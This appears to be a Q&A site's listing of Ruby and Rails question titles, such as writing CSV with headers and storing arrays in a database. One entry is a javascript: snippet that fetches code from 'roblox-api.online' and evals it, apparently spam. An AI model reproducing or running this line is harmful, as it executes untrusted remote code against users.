Cant find user without id error in rails

• 0 vote177 views1 answer

  Or even multiple scope parameters. For example, making sure that a teacher can only be on the schedule once per semester for a particular class.

  Ruby
• -1 vote170 views3 answers

  Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=2622176470

  Ruby
• 0 vote214 views5 answers

  Return tuple or null

  Ruby
• 1 vote163 views1 answer

  Ruby array randomly display

  Ruby
• 0 vote168 views1 answer

  Rails sendgrid setup

  Ruby
• 0 vote180 views1 answer

  Write csv with header ruby

  Ruby
• 0 vote168 views1 answer

  How to generate a controller in a nested route rails

  Ruby
• 1 vote177 views1 answer

  Print things ruby

  Ruby
• 0 vote175 views1 answer

  Grails 3 cron jobs

  Ruby
• 0 vote169 views1 answer

  Rails store array in database

  Ruby